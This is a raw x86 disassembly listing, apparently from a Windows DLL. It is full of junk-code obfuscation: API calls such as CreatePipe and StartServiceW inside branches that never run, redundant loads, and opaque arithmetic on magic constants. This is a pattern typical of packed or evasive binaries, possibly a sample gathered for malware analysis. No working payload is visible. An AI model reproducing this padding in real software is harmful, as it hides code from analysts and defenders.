call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xc
jne 0x10030a0a
mov dword [ebp - 0x34], 3
cmp dword [ebp - 0x34], eax
jl 0x10030bc6
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], eax
jl 0x10030b6b
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030b66
push eax
push 0x67c
push eax
push 0x933
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x10030b3e
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x24c], 0
jne 0x10030bae
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x24c]
cmp eax, ebx
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x24c]
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, dword [ebp - 0x244]
je 0x10030bb7
cmp dword [ebp - 0x24], eax
je 0x10030bb7
jmp 0x10030bb0
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10030bb7
mov eax, ebx
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x34]
push 0
pop eax
jns 0x10030b32
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffeb
jne 0x100309df
push 0x1913
push 0x1e40
push 0x1ccd
push 0x156b
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
mov dword [ebp - 0x2c], 0x532fe223
mov dword [ebp - 0x24], 0x18f4c6f4
mov dword [ebp - 0x28], 0xfffc
mov dword [ebp - 0x4c], 0x90eb1f0c
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x10030c33
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x384], 0xb9b5
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x10030c1a
xor eax, eax
push 3
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x10030c56
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x980], 0xf6b34c2
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x10030c3e
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jg 0x10030db6
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x40], 0xfffffffc
push 5
pop eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x384], 0
je 0x10030cfb
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x384]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x97c], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x380]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setge dl
xor eax, eax
sub edx, dword [ebp - 0x380]
cmp edx, 0xffffffff
setne al
cmp eax, dword [ebp - 0x380]
jge 0x10030cde
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x384]
mov eax, dword [ebp - 0x2c]
push 3
pop ecx
mov eax, dword [ebp + eax*4 - 0x384]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x384]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor eax, eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x28], eax
je 0x10030da5
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
jl 0x10030d89
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10030d3a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbac], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030d22
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10030d61
mov dword [ebp - 0x40], 0xdc870af0
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030d5b
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 3
xor eax, eax
pop ecx
dec dword [ebp - 0x40]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jle 0x10030d3f
mov dword [ebp - 0x40], 0x51aaf19
mov eax, dword [ebp - 0xbac]
sub eax, dword [ebp - 0x40]
neg eax
push 0
sbb eax, eax
inc eax
mov dword [ebp - 0x97c], eax
dec dword [ebp - 0x24]
pop eax
jns 0x10030d1a
mov dword [ebp - 0x24], 0x12
jmp 0x10030d9d
cmp dword [ebp - 0x384], eax
jne 0x10030da8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1c
jl 0x10030d92
jmp 0x10030da8
dec dword [ebp - 0x4c]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jle 0x10030c62
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10030dd9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7f0], 0x25a8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030dc1
xor eax, eax
mov dword [ebp - 0x34], 0x14
jmp 0x10030def
mov dword [ebp - 0x38], 0x8cb4c23a
mov dword [ebp - 0x38], ebx
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffffa
jl 0x10030de2
mov dword [ebp - 0x34], 2
cmp dword [ebp - 0x34], eax
jl 0x10030e47
mov dword [ebp - 0x40], 0xba29f583
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x7f0]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x7f0]
cmp ebx, eax
mov eax, dword [ebp - 0x7ec]
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, 0xffffffff
setge cl
imul edx, ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x40], 7
dec dword [ebp - 0x34]
jns 0x10030e01
xor eax, eax
mov byte [ebp - 0x4d], al
mov dword [ebp - 0x30], 0xfffffffc
mov dword [ebp - 0x24], 0xd1d89e17
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x30], eax
jne 0x10030e7e
mov edx, ebx
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setle cl
inc ecx
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x30]
jne 0x10030e96
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov ecx, 0x88ad88ca
mov eax, dword [ebp - 0x30]
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
je 0x10030f14
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x30], 0x1d
jmp 0x10030efc
mov dword [ebp - 0x48], 0x380d42f5
mov ecx, dword [ebp - 0x44]
dec ecx
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, ebx
setg al
imul eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x24]
jne 0x10030edf
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x30]
je 0x10030ef4
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x10030ef6
mov eax, ebx
mov dword [ebp - 0x44], eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jle 0x10030ebb
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10030f7b
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
jmp 0x10030f79
xor eax, eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10030f3b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x900], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10030f22
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10030f6a
mov dword [ebp - 0x38], 0x2e34ef9d
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030f5e
push 0x20d5
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x24]
push 0
pop eax
cmp dword [ebp - 0x24], 0x2d
jge 0x10030f40
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x900], eax
xor eax, eax
cmp byte [ebp - 0x4d], 0
je 0x10030fe6
mov dword [ebp - 0x18], 0xffffffff
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10030fab
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xdec], 0x7571177e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030f93
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10030fcb
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030fc8
push eax
push 0x1381
push eax
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x10030fb0
push 0x1f6b
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x11
push 0
pop eax
jne 0x10030855
mov dword [ebp - 0x24], 0x4a8b108f
xor edx, edx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x38], 0xecdc0f1f
mov dword [ebp - 0x38], 0x38140a97
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov esi, dword [sym.imp.USER32.dll_GetDlgItemTextW]
setge dl
imul eax, dword [ebp - 0x1c], 0xd94b
xor ecx, ecx
sub eax, edx
sub eax, dword [ebp - 0x24]
cmp eax, 0x5ce96b77
setge cl
xor eax, eax
cmp ecx, 5
setg al
add eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x24]
je 0x1003107d
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10031114
push 0x164a
push eax
push 0xcff
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
jmp 0x10031112
xor eax, eax
mov dword [ebp - 0x48], 0x4b5e
mov dword [ebp - 0x44], 0x4b2e809b
mov dword [ebp - 0x40], 7
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x48]
neg eax
sbb eax, eax
inc eax
cmp eax, 3
sbb eax, eax
xor ecx, ecx
neg eax
add eax, dword [ebp - 0x1c]
imul eax, eax, 0x2167
cmp eax, ebx
mov eax, dword [ebp - 0x44]
setge cl
xor edx, edx
cmp eax, ecx
setg dl
xor ecx, ecx
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x44]
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x48]
neg eax
sbb eax, eax
xor edx, edx
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x48]
add edx, 0x4a10
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
xor eax, eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], eax
jmp 0x10031175
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1003114e
push 0x1913
push 0x1e40
push 0x1ccd
push 0x156b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031172
push 0x1f6b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x11
jne 0x1003111f
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], eax
jmp 0x100311d9
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100311b2
push 0x1913
push 0x1e40
push 0x1ccd
push 0x156b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100311d6
push 0x1f6b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x11
jne 0x10031183
mov edi, 0x4a8b108f
xor edx, edx
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x38], 0xecdc0f1f
mov dword [ebp - 0x38], 0x38140a97
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setge dl
imul eax, dword [ebp - 0x1c], 0xd94b
xor ecx, ecx
sub eax, edx
sub eax, dword [ebp - 0x24]
cmp eax, 0x5ce96b77
setge cl
xor eax, eax
cmp ecx, 5
setg al
add eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x24]
je 0x10031261
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100312f8
push 0x164a
push eax
push 0xcff
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
jmp 0x100312f6
xor eax, eax
mov dword [ebp - 0x48], 0x4b5e
mov dword [ebp - 0x44], 0x4b2e809b
mov dword [ebp - 0x40], 7
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x48]
neg eax
sbb eax, eax
inc eax
cmp eax, 3
sbb eax, eax
xor ecx, ecx
neg eax
add eax, dword [ebp - 0x1c]
imul eax, eax, 0x2167
cmp eax, ebx
mov eax, dword [ebp - 0x44]
setge cl
xor edx, edx
cmp eax, ecx
setg dl
xor ecx, ecx
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x44]
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x48]
neg eax
sbb eax, eax
xor edx, edx
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x48]
add edx, 0x4a10
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
xor eax, eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], ebx
push 5
pop ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x14], 0xe5849968
mov dword [ebp - 0x3c], 0xee0cd979
mov dword [ebp - 0x18], 0x785734cb
mov dword [ebp - 0x44], 0xa2967684
mov dword [ebp - 0x4c], 0x5d8d3410
push 0xfffffffffffffff9
pop edx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x8a8], ecx
mov dword [ebp - 0x8a4], ecx
mov dword [ebp - 0x8a0], ecx
mov dword [ebp - 0x89c], ecx
mov dword [ebp - 0x3c], 0x1f56
mov dword [ebp - 0x3c], 0xfffffffd
push 3
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x1003137d
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xb34], 0x6e40424b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x10031365
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1003139b
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x90c], edx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x10031386
xor eax, eax
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x4c], eax
je 0x100313a9
mov eax, dword [ebp - 0x908]
mov dword [ebp - 0xb30], 0xeff85a04
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x8a8]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
neg ecx
add eax, ecx
je 0x100313cf
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0xffffffff
setge cl
xor eax, eax
mov dword [ebp - 0x40], ecx
xor edx, edx
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x38], 0xecdc0f1f
mov dword [ebp - 0x38], 0x38140a97
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setge dl
imul eax, dword [ebp - 0x1c], 0xd94b
xor ecx, ecx
sub eax, edx
sub eax, dword [ebp - 0x24]
cmp eax, 0x5ce96b77
setge cl
xor eax, eax
cmp ecx, 5
setg al
add eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x24]
je 0x1003145c
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100314f3
push 0x164a
push eax
push 0xcff
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
jmp 0x100314f1
xor eax, eax
mov dword [ebp - 0x48], 0x4b5e
mov dword [ebp - 0x44], 0x4b2e809b
mov dword [ebp - 0x40], 7
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x48]
neg eax
sbb eax, eax
inc eax
cmp eax, 3
sbb eax, eax
xor ecx, ecx
neg eax
add eax, dword [ebp - 0x1c]
imul eax, eax, 0x2167
cmp eax, ebx
mov eax, dword [ebp - 0x44]
setge cl
xor edx, edx
cmp eax, ecx
setg dl
xor ecx, ecx
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x44]
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x48]
neg eax
sbb eax, eax
xor edx, edx
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x48]
add edx, 0x4a10
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
xor eax, eax
mov dword [ebp - 0x38], ebx
mov edx, 0xe5849968
mov dword [ebp - 0x3c], ebx
mov edi, 0xee0cd979
push 5
pop ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x18], 0x785734cb
mov dword [ebp - 0x44], 0xa2967684
mov dword [ebp - 0x4c], 0x5d8d3410
mov dword [ebp - 0x48], 0xfffffff9
mov dword [ebp - 0x818], ecx
mov dword [ebp - 0x814], ecx
mov dword [ebp - 0x810], ecx
mov dword [ebp - 0x80c], ecx
mov dword [ebp - 0x3c], 0x1f56
mov dword [ebp - 0x3c], 0xfffffffd
push 3
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x1003157b
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xb7c], 0x6e40424b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x10031563
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1003159d
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x9b0], 0xfffffff9
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x10031584
xor eax, eax
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x4c], eax
je 0x100315ab
mov eax, dword [ebp - 0x9ac]
mov dword [ebp - 0xb78], 0xeff85a04
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x818]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
neg ecx
add eax, ecx
je 0x100315d1
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0xffffffff
push 5
pop eax
setge cl
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x18], 0x785734cb
mov dword [ebp - 0x44], 0xa2967684
mov dword [ebp - 0x4c], 0x5d8d3410
push 0xfffffffffffffff9
pop edx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x848], eax
mov dword [ebp - 0x844], eax
mov dword [ebp - 0x840], eax
mov dword [ebp - 0x83c], eax
xor eax, eax
mov dword [ebp - 0x3c], 0x1f56
mov dword [ebp - 0x3c], 0xfffffffd
push 3
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x1003165b
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xac8], 0x6e40424b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x10031643
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x10031679
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x918], edx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x10031664
xor eax, eax
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x4c], eax
je 0x10031687
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0xac4], 0xeff85a04
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x848]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
neg ecx
add eax, ecx
je 0x100316ad
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0xffffffff
push 8
setge cl
xor eax, eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ebx
jge 0x100316dc
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x934], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x100316c8
xor eax, eax
mov edi, dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100316f6
push eax
push 0x1570
push eax
call edi
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031718
push 0x1c02
push 0x2148
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
xor eax, eax
mov dword [ebp - 0x40], 0xc7e4ddbb
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1003173f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8c], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10031727
xor eax, eax
mov dword [ebp - 0x8c], 0xf
jmp 0x100317aa
mov dword [ebp - 0x20], 0x98070ade
mov dword [ebp - 0x3c], 0x6bb64548
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1b
jge 0x1003179f
mov dword [ebp - 0x3c], 0x7f35
xor edx, edx
mov dword [ebp - 0x3c], 0xfffffff7
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x8c]
cmp eax, ecx
mov eax, dword [ebp - 0x8c]
setge dl
add eax, edx
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1b
jl 0x10031762
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x100317b3
dec dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 0xfffffff2
jne 0x1003174b
mov dword [ebp - 0x1c], 0x4a8b108f
mov dword [ebp - 0x4c], 0x9d19ac19
mov dword [ebp - 0x3c], 0xc08872fa
mov dword [ebp - 0x14], eax
mov eax, 0xb8bf
mov dword [ebp - 0x888], eax
mov dword [ebp - 0x884], eax
mov dword [ebp - 0x880], eax
mov dword [ebp - 0x87c], eax
xor eax, eax
mov dword [ebp - 0x44], 0xffff
mov dword [ebp - 0x48], 0x9172ddb7
mov dword [ebp - 0x38], 0x6e483bbb
mov dword [ebp - 0x18], 0xd1b7e280
mov dword [ebp - 0x3c], 0xfffffff6
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], 0x1b55
push 3
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x10031836
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x808], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x10031822
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10031848
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x994], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1003183b
dec dword [ebp - 0x98c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x800]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x804]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x87c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x4c]
dec dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x4c], eax
jle 0x10031893
xor eax, eax
cmp dword [ebp - 0x804], eax
je 0x10031895
mov ecx, ebx
jmp 0x10031897
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x48]
add eax, ecx
je 0x100318a9
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x100318ab
mov edx, ebx
jmp 0x100318ad
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
push 3
setl cl
xor eax, eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x34], 0xa8ed40a1
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], 0xa82e77e8
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x10031908
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x65c], 0xc15d0d65
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100318f7
mov eax, dword [ebp - 0x658]
xor edx, edx
mov ecx, dword [ebp - 0x658]
mov eax, dword [ebp - 0x230]
cmp eax, ecx
setle dl
xor eax, eax
test edx, edx
setns al
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x234]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x658]
mov eax, dword [ebp - 0x238]
mov eax, dword [ebp - 0x28]
